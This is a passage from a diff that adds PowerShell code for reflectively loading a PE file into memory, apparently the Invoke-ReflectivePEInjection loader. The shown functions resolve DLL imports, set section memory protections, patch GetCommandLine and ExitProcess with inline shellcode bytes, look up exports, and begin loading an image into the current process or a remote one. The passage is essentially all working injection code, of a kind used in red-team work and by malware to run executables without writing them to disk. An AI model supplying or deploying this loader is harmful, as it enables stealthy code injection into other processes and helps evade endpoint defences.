[IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = 